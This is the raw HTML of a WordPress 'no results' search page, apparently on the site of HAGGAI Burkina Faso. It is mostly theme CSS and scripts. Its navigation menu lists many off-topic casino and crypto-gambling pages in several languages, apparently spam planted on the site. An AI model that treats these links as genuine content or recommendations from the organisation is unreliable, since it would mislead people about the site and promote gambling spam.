a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
